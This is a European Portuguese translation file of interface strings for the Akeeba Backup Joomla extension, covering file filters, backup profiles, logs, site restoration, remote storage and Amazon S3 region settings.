COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS="Subdiretórios"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES="Ficheiros"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM="Item do Filtro"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW="Vista de Navegador"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS="Repor todos os filtros"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR="Diretório raiz:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW="Vista de Resumo"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE="Tipo"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER="Ocorreu um erro ao aplicar o filtro para &quot;%s&quot;."
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT="&lt;raiz&gt;"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL="Listar todas as exclusões"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS="Aplicar a todas as pastas listadas"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES="Aplicar a todos os ficheiros listados"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES="Excluir Diretório"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL="Excluir todos os diretórios"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES="Excluir Ficheiro"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL="Excluir todos os ficheiros"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS="Ignorar Subdiretórios"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL="Ignorar todos os diretórios"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES="Ignorar Ficheiros"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL="Ignorar todos os ficheiros"
COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON="– Ícone de cópia de segurança com um clique –"

COM_AKEEBABACKUP_INCLUDEFOLDER="Inclusão de Diretórios Externos"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY="Diretório"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP="O diretório no seu servidor que será incluído na cópia de segurança. Esta funcionalidade destina-se apenas a diretórios localizados fora da raiz do seu sítio. Os diretórios dentro da raiz do sítio são sempre incluídos automaticamente na cópia de segurança, a menos que os exclua usando a funcionalidade de Exclusão de Ficheiros e Diretórios."
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR="Subdiretório virtual"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP="Os ficheiros são armazenados no arquivo dentro de um subdiretório do Diretório virtual para ficheiros externos, definido na sua configuração (predefinição: external_files). Pode personalizar o nome desse diretório. Defina-o como uma única barra normal (é este caractere: /) e os seus ficheiros externos serão colocados dentro da raiz do seu sítio. Isto é útil se pretender substituir certos ficheiros na cópia de segurança, por exemplo o seu ficheiro configuration.php ou personalizar o template do script de instalação."

COM_AKEEBABACKUP_LBL_BATCH_COPY="Copiar"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID="Tem de introduzir o seu <strong>Download ID</strong> antes de poder atualizar o Akeeba Backup Professional e usar algumas das suas funcionalidades de armazenamento remoto. <a href='%s' target='_blank'>Se não sabe o seu Download ID, por favor clique aqui</a>."
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD="Introduzir o Download ID não é suficiente para ativar as funcionalidades do Akeeba Backup Professional"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY="Precisará de transferir e instalar o pacote Akeeba Backup Professional no seu sítio <em>duas vezes</em>, sem desinstalar a versão Core. Para mais informações e instruções detalhadas, por favor consulte o nosso <a href='%s'>tutorial em vídeo sobre como atualizar o Akeeba Backup Core para Professional</a>."
COM_AKEEBABACKUP_LBL_PROFILES_SAVED="O perfil foi guardado com sucesso"
COM_AKEEBABACKUP_LBL_PROFILE_COPIED="O Perfil e as suas definições associadas foram copiados com sucesso"
COM_AKEEBABACKUP_LBL_PROFILE_DELETED="O Perfil foi eliminado com sucesso"
COM_AKEEBABACKUP_LBL_PROFILE_SAVED="O Perfil foi guardado com sucesso"

COM_AKEEBABACKUP_LOG="Ver Registo"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE="Por favor escolha um ficheiro de registo para apresentar:"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE="- Selecione uma origem de cópia de segurança -"
COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS="O ficheiro de registo não existe no seu diretório de saída"
COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE="O ficheiro de registo é ilegível"
COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD="Transferir ficheiro de registo"
COM_AKEEBABACKUP_LOG_NONE_FOUND="Não foi encontrado nenhum ficheiro de registo"
COM_AKEEBABACKUP_LOG_SHOW_LOG="Mostrar registo"
COM_AKEEBABACKUP_LOG_SIZE_WARNING="O seu ficheiro de registo tem %s Mb. Tentar apresentá-lo no navegador pode bloquear o navegador ou causar um erro de tempo limite no seu servidor. Por favor use o botão Transferir Registo acima para transferir o ficheiro de registo para o seu computador. Pode abrir e ler o registo com qualquer editor de texto simples."

COM_AKEEBABACKUP_MULTIDB="Definições de Múltiplas Bases de Dados"
COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO="Tem de especificar, no mínimo, um controlador de base de dados, nome do host, nome de utilizador, palavra-passe e nome da base de dados."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL="Cancelar"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL="Não foi possível ligar à base de dados. Por favor verifique as suas definições. Último erro:"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK="Ligado à base de dados!"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE="Nome da base de dados"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER="Controlador da base de dados"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST="Nome do host do servidor de base de dados"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING="A carregar; por favor aguarde..."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD="Palavra-passe"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT="Porta do servidor de base de dados"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX="Prefixo"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE="Guardar"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL="A gravação falhou; por favor tente novamente"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST="Testar Ligação"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME="Nome de utilizador"
COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE="Nome da base de dados"
COM_AKEEBABACKUP_MULTIDB_LABEL_HOST="Nome do host do servidor de base de dados"

COM_AKEEBABACKUP_PROFILES="Gestão de Perfis"
COM_AKEEBABACKUP_PROFILES_BTN_EXPORT="Exportar"
COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH="Ativar ícone de cópia de segurança com um clique"
COM_AKEEBABACKUP_PROFILES_BTN_RESET="Repor"
COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH="Desativar ícone de cópia de segurança com um clique"
COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED="A reposição da configuração e dos filtros do perfil de cópia de segurança falhou. Motivo: %s"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED="A importação do perfil falhou"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID="Ficheiro inválido. Isto não parece um ficheiro .json de perfil exportado."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC="Encontre um perfil introduzindo a sua descrição parcial. Encontre um perfil pelo seu ID usando a sintaxe <code>id:123</code> onde 123 é o ID numérico do perfil."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL="Descrição"
COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT="Importar"
COM_AKEEBABACKUP_PROFILES_IMPORT="Importar"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION="Descrição do Perfil"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP="Introduza uma descrição para este perfil. Não tem de ser única e é apenas usada para o ajudar a distinguir perfis individuais."
COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES="Cada perfil de cópia de segurança é um conjunto de opções de configuração e opções de filtro de inclusão &amp; exclusão. Indica ao Akeeba Backup o quê e como fazer cópia de segurança, e onde armazenar os arquivos de cópia de segurança."
COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP="Selecione um ficheiro .json de perfil exportado deste ou de um sítio diferente para importar rapidamente as suas definições."
COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE="Perfil importado com sucesso"
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED="%d perfis de cópia de segurança foram eliminados."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED_1="O perfil de cópia de segurança foi eliminado."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED="A cópia de segurança com um clique foi ativada para %d perfis."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED_1="A cópia de segurança com um clique foi ativada para o perfil."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET="A configuração e os filtros de %d perfis de cópia de segurança foram repostos."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET_1="A configuração e os filtros do perfil de cópia de segurança foram repostos."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED="A cópia de segurança com um clique foi desativada para %d perfis."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED_1="A cópia de segurança com um clique foi desativada para o perfil."
COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT="Editar um Perfil de Cópia de Segurança"
COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW="Novo Perfil de Cópia de Segurança"
COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION="Tabela de perfis de cópia de segurança"
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE="Não pode eliminar o perfil atualmente ativo. Por favor vá à página do Painel de Controlo, selecione um perfil diferente e depois regresse a esta página para eliminar o perfil #%d."
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT="Não pode eliminar o perfil predefinido (aquele com id=1)"
COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS="Não tem acesso a este perfil de cópia de segurança"

COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY="O Akeeba Backup detetou que a cópia de segurança do seu sítio \"%s\" localizado em %s falhou."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE="O Akeeba Backup detetou que a cópia de segurança do seu sítio \"%s\" localizado em %s falhou. A mensagem de falha da cópia de segurança é:\n%s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT="Cópia de segurança falhada para %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_BODY="O Akeeba Backup terminou com sucesso a cópia de segurança do seu sítio \"%s\" localizado em %s em %s."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_SUBJECT="Cópia de segurança bem-sucedida para %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_BODY="O Akeeba Backup terminou a cópia de segurança do seu sítio \"%s\" localizado em %s em %s mas foram emitidos avisos. Isto pode significar que os ficheiros não foram incluídos na cópia de segurança ou, se estiver a enviar automaticamente a cópia de segurança para o armazenamento remoto, o envio pode ter falhado\nTem de rever os avisos e certificar-se de que a sua cópia de segurança foi concluída com sucesso. Aconselhamos que teste sempre uma cópia de segurança que resultou na emissão de avisos para se certificar de que está a funcionar corretamente. Pode fazê-lo restaurando-a para um servidor local. Lembre-se de que uma cópia de segurança não testada é tão boa como nenhuma cópia de segurança de todo."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_SUBJECT="Cópia de segurança terminada com avisos para %s"
COM_AKEEBABACKUP_PUSH_STARTBACKUP_BODY="O Akeeba Backup começou a fazer uma cópia de segurança do sítio \"%s\" localizado em %s em %s."
COM_AKEEBABACKUP_PUSH_STARTBACKUP_SUBJECT="Cópia de segurança iniciada para %s"

COM_AKEEBABACKUP_REGEXDBFILTERS="Exclusão de Tabelas da Base de Dados por RegEx"
COM_AKEEBABACKUP_REGEXFSFILTERS="Exclusão de Ficheiros e Diretórios por RegEx"

COM_AKEEBABACKUP_REMOTEFILES="Gestão de ficheiros armazenados remotamente"
COM_AKEEBABACKUP_REMOTEFILES_DELETE="Eliminar"
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE="Não foi possível eliminar o ficheiro armazenado remotamente. O erro foi: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD="Não foi possível transferir o ficheiro. O erro foi: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE="Não é possível abrir o ficheiro local %s para escrita; a abortar o processo de transferência"
COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY="Já eliminou o ficheiro armazenado remotamente. Precisa de transferir o ficheiro novamente para que as funcionalidades de transferência e eliminação de ficheiros remotos fiquem disponíveis de novo."
COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY="Já recuperou o ficheiro armazenado remotamente para o servidor do seu sítio. Selecione o registo de cópia de segurança e clique em Eliminar Ficheiros para remover o ficheiro armazenado no servidor do seu sítio e reativar este botão."
COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID="Download ID especificado inválido"
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED="Lamentamos, o motor de armazenamento remoto que está a usar não suporta a transferência ou eliminação de ficheiros armazenados remotamente."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER="Já eliminou os ficheiros armazenados remotamente usando o Akeeba Backup."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER="Não há operações de ficheiros remotos disponíveis"
COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED="Esta funcionalidade não é atualmente suportada pelo motor de pós-processamento usado pelo registo de cópia de segurança atual."
COM_AKEEBABACKUP_REMOTEFILES_FETCH="Recuperar para o servidor"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER="Operação em curso"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT="A carregar, por favor aguarde."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY="A operação que solicitou está atualmente a decorrer."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO="Receberá uma atualização sobre o seu progresso em tão pouco como alguns segundos ou em tanto como três minutos."
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR="Transferidos %u bytes de %u bytes totais (%u %%)"
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY="Transferir para o seu ambiente de trabalho"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED="Terminada a transferência do seu conjunto de cópia de segurança do armazenamento remoto de volta para o servidor local"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING="Os ficheiros armazenados remotamente foram eliminados com sucesso"
COM_AKEEBABACKUP_REMOTEFILES_PART="Parte #%u"

COM_AKEEBABACKUP_RESTORE="Restauração do Sítio"
COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION="A cópia de segurança #%d será restaurada"
COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE="Restaurar uma cópia de segurança <em>substituirá</em> o seu sítio pelo instantâneo do sítio contido no arquivo de cópia de segurança. Quaisquer alterações feitas ao seu sítio desde a hora da cópia de segurança serão <em>perdidas para sempre</em>. Por favor verifique duas vezes se está a restaurar o arquivo de cópia de segurança correto."
COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING="Não foi possível localizar o arquivo de cópia de segurança"
COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE="Não foi possível escrever restoration.php. Por favor certifique-se de que o diretório <code>administrator/components/com_akeebabackup</code> tem permissão de escrita."
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD="Registo de cópia de segurança inválido"
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE="Tipo de ficheiro inválido. A restauração integrada só funciona com ficheiros JPA e ZIP."
COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST="Não existe nenhuma cópia de segurança realizada com o perfil #%d ou o arquivo de cópia de segurança não está presente no seu servidor. Por favor use a página Gerir Cópias de Segurança para identificar as suas cópias de segurança, recuperá-las para o seu servidor (se estiverem armazenadas remotamente) e restaurá-las."
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED="Bytes extraídos"
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD="Bytes lidos"
COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE="Por favor <strong>NÃO</strong> navegue para outra página, mude para outro separador / janela do navegador, ou mude para <em>uma aplicação diferente</em> a menos que veja uma mensagem de conclusão ou de erro. Certifique-se de que o seu dispositivo não entra em modo de suspensão enquanto a extração do arquivo de cópia de segurança está em curso."
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD="Método de extração de ficheiros"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Escrever diretamente nos ficheiros"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Usar a camada FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID="Híbrido (escrever diretamente, usar a camada FTP apenas quando necessário)"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED="A extração falhou"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO="A extração do arquivo de cópia de segurança falhou.<br/>A última mensagem de erro foi:"
COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED="Ficheiros extraídos"
COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE="Finalizar restauração"
COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS="Opções da Camada FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS="Extração do arquivo em curso"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC="Tempo máximo de execução (segundos)"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP="Os ficheiros serão extraídos durante no máximo este número de segundos em cada passo. Aumente para tornar a extração mais rápida. Diminua para evitar tempos limite do servidor."
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC="Tempo mínimo de execução (segundos)"
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP="Cada passo de extração de ficheiros não retornará durante este número de segundos. Defina mais alto do que a definição máxima abaixo para adicionar “tempo morto” em cada passo, reduzindo a utilização de recursos."
COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP="<strong>Dica</strong>: De forma a restaurar para um servidor remoto, selecione a opção \"Usar a camada FTP\" e forneça a informação de ligação FTP do seu servidor remoto nas Opções da Camada FTP abaixo.<br/>Use a opção Híbrido e forneça a informação de ligação FTP do sítio atual se a restauração falhar com ficheiros sem permissão de escrita."
COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER="Executar o script de restauração do sítio"
COM_AKEEBABACKUP_RESTORE_LABEL_START="Iniciar Restauração"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS="A extração foi concluída com sucesso"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2="Tem agora de executar o Script de Restauração do Akeeba Backup que foi incluído no seu arquivo de cópia de segurança no momento da cópia de segurança. <em>Não feche esta janela!</em>. Depois de a restauração terminar, feche a janela do Script de Restauração do Akeeba Backup e clique no novo botão Finalizar Restauração abaixo para remover o diretório <code>installation</code> e começar a usar o seu sítio restaurado."
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B="Se, no entanto, estiver a restaurar para um sítio remoto, <em>não</em> clique em nenhum dos botões. Em vez disso, visite o URL do script de restauração em <code>http://<var>www.oseusitio.com</var>/installation/index.php</code>. Depois de a restauração terminar, clique na ligação \"Remover a pasta de instalação\" na página final do script de restauração ou, se isto falhar, remova o diretório <code>installation</code> desse sítio usando a sua aplicação FTP favorita."
COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD="Definições de temporização (avançado)"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE="Eliminar tudo antes da extração"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP="Tenta eliminar todos os ficheiros e pastas existentes sob o diretório raiz do seu sítio antes de extrair o arquivo de cópia de segurança. NÃO tem em conta quais os ficheiros e pastas que existem no arquivo de cópia de segurança ou quais os ficheiros e pastas que são excluídos durante a cópia de segurança. Os ficheiros e pastas eliminados por esta funcionalidade NÃO PODEM ser recuperados. <strong>AVISO! ISTO PODE ELIMINAR FICHEIROS E PASTAS QUE NÃO PERTENCEM AO SEU SÍTIO. ESTA FUNCIONALIDADE DESTINA-SE APENAS A UTILIZADORES MUITO EXPERIENTES QUE COMPREENDEM OS RISCOS. USE COM EXTREMA CAUTELA. AO ATIVAR ESTA FUNCIONALIDADE ASSUME TODA A RESPONSABILIDADE. ALÉM DISSO, RENUNCIA A QUALQUER DIREITO DE SOLICITAR SUPORTE À AKEEBA LTD.</strong>"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE="Ativar o Modo Furtivo durante a restauração"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP="Os visitantes do seu sítio provenientes de um endereço IP diferente do seu serão temporariamente redirecionados para <code>installation/offline.html</code>, um ficheiro que lhes diz que o seu sítio está atualmente em manutenção. Só funciona em servidores que suportam ficheiros <code>.htaccess</code>. Por favor leia a documentação para mais informações."

COM_AKEEBABACKUP_S3IMPORT="Importar Arquivos do S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN="Não é possível abrir o ficheiro temporário que acabámos de criar; o seu servidor tem um problema que não conseguimos contornar"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE="Não é possível escrever no seu diretório de saída; por favor verifique as permissões"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO="Informação insuficiente para ligar ao S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND="O ficheiro não foi encontrado no seu bucket S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET="Mudar de bucket"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT="Ligar ao S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET="- Bucket -"
COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE="O arquivo foi importado com sucesso para o seu sítio"

COM_AKEEBABACKUP_S3_ACCESS_DESCRIPTION="Como a API acederá ao bucket. Se tiver dúvidas, use Virtual Hosting. Virtual Hosting é o método recomendado e suportado para o Amazon S3 que usa um URL como https://BUCKET.ENDPOINT para aceder ao bucket. Path Access é um método não suportado e descontinuado que usa um URL como https://ENDPOINT/BUCKET para aceder ao bucket. Só deve usar Path Access se um fornecedor de armazenamento de terceiros com uma API compatível com Amazon S3 lhe pedir para o fazer."
COM_AKEEBABACKUP_S3_ACCESS_PATH="Path Access (legado)"
COM_AKEEBABACKUP_S3_ACCESS_TITLE="Acesso ao bucket"
COM_AKEEBABACKUP_S3_ACCESS_VIRTUALHOST="Virtual Hosting (recomendado)"
COM_AKEEBABACKUP_S3_REGION_TITLE="Região do Amazon S3"
COM_AKEEBABACKUP_S3_REGION_DESCRIPTION="Escolha a região S3 onde o seu bucket está localizado. Por favor consulte http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region <strong>ATENÇÃO! Devido à API da Amazon, DEVE selecionar a localização do seu bucket ao usar o método de assinatura v4. O método de assinatura v4 é OBRIGATÓRIO para todos os buckets criados em qualquer região que ficou online após janeiro de 2014, como Frankfurt e São Paulo.</strong> Isto é uma restrição da Amazon, não uma restrição do Akeeba Backup. Obrigado pela sua compreensão."
COM_AKEEBABACKUP_S3_REGION_NONE="Nenhuma (ATENÇÃO! USE APENAS COM O MÉTODO DE ASSINATURA v2)"
COM_AKEEBABACKUP_S3_REGION_CUSTOM_OR_NONE="Personalizada / Nenhuma"
COM_AKEEBABACKUP_S3_REGION_AFSOUTH1="África, Sul (Cidade do Cabo)"
COM_AKEEBABACKUP_S3_REGION_APEAST1="Ásia-Pacífico, Este (Hong Kong)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST1="Ásia-Pacífico, Nordeste (Tóquio)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST2="Ásia-Pacífico, Nordeste (Seul)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST3="Ásia-Pacífico, Sudeste (Osaka)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH1="Ásia-Pacífico, Sul (Mumbai)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH2="Ásia-Pacífico, Sul (Hyderabad)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST1="Ásia-Pacífico, Sudeste (Singapura)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST2="Ásia-Pacífico, Sudeste (Sydney)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST3="Ásia-Pacífico, Sudeste (Jacarta)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST4="Ásia-Pacífico, Sudeste (Melbourne)"
COM_AKEEBABACKUP_S3_REGION_CACENTRAL1="Canadá (Central)"
COM_AKEEBABACKUP_S3_REGION_CNNORTH1="China, Norte (Pequim)"
COM_AKEEBABACKUP_S3_REGION_CNNORTHWEST1="China, Noroeste (Ningxia)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL1="Europa, Central (Frankfurt)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL2="Europa, Central (Zurique)"
COM_AKEEBABACKUP_S3_REGION_EUNORTH1="Europa, Norte (Estocolmo)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH1="Europa, Sul (Milão)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH2="Europa, Sul (Espanha)"
COM_AKEEBABACKUP_S3_REGION_EUWEST1="Europa, Oeste (Irlanda)"
COM_AKEEBABACKUP_S3_REGION_EUWEST2="Europa, Oeste (Londres)"
COM_AKEEBABACKUP_S3_REGION_EUWEST3="Europa, Oeste (Paris)"
COM_AKEEBABACKUP_S3_REGION_MECENTRAL1="Médio Oriente, Central (EAU)"
COM_AKEEBABACKUP_S3_REGION_MESOUTH1="Médio Oriente, Sul (Barém)"
COM_AKEEBABACKUP_S3_REGION_SAEAST1="América do Sul, Este (São Paulo)"
COM_AKEEBABACKUP_S3_REGION_USEAST1="EUA Este (Virgínia do Norte)"
COM_AKEEBABACKUP_S3_REGION_USEAST2="EUA Este (Ohio)"
COM_AKEEBABACKUP_S3_REGION_USWEST1="EUA Oeste (Califórnia do Norte)"
COM_AKEEBABACKUP_S3_REGION_USWEST2="EUA Oeste (Oregon)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST1="AWS GovCloud (US-East)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST2="AWS GovCloud (US-West)"
COM_AKEEBABACKUP_S3_RRS_DEEP_ARCHIVE="Deep Archive"
COM_AKEEBABACKUP_S3_RRS_GLACIER="Glacier"
COM_AKEEBABACKUP_S3_RRS_INTELLIGENT_TIERING="Intelligent Tiering"
COM_AKEEBABACKUP_S3_RRS_ONEZONE_IA="One Zone - Infrequent Access"
COM_AKEEBABACKUP_S3_RRS_RRS="Reduced Redundancy Storage"
COM_AKEEBABACKUP_S3_RRS_STANDARD="Standard storage"
COM_AKEEBABACKUP_S3_RRS_STANDARD_IA="Standard - Infrequent Access"
COM_AKEEBABACKUP_S3_SIGNATURE_DESCRIPTION="Especifique o método de assinatura do pedido. Use v4 se tiver dúvidas. Poderá ter de usar v2 com serviços de armazenamento de terceiros (ou seja, quando especifica um endpoint personalizado)."
COM_AKEEBABACKUP_S3_SIGNATURE_TITLE="Método de assinatura"
COM_AKEEBABACKUP_S3_SIGNATURE_V2="v2 (modo legado, fornecedores de armazenamento de terceiros)"
COM_AKEEBABACKUP_S3_SIGNATURE_V4="v4 (preferido para Amazon S3)"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_TITLE="Região Amazon S3 Personalizada"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_DESCRIPTION="Defina a opção acima como “Personalizada / Nenhuma” e introduza aqui o nome da região que pretende usar, por exemplo <code>us-east-1</code> para EUA Este (Virgínia do Norte).<br/>Isto destina-se a ser usado com novas regiões S3 que ainda não listámos acima ou com serviços de terceiros compatíveis com S3 que usam a API S3 v4 e os seus próprios nomes de região personalizados e específicos do serviço."

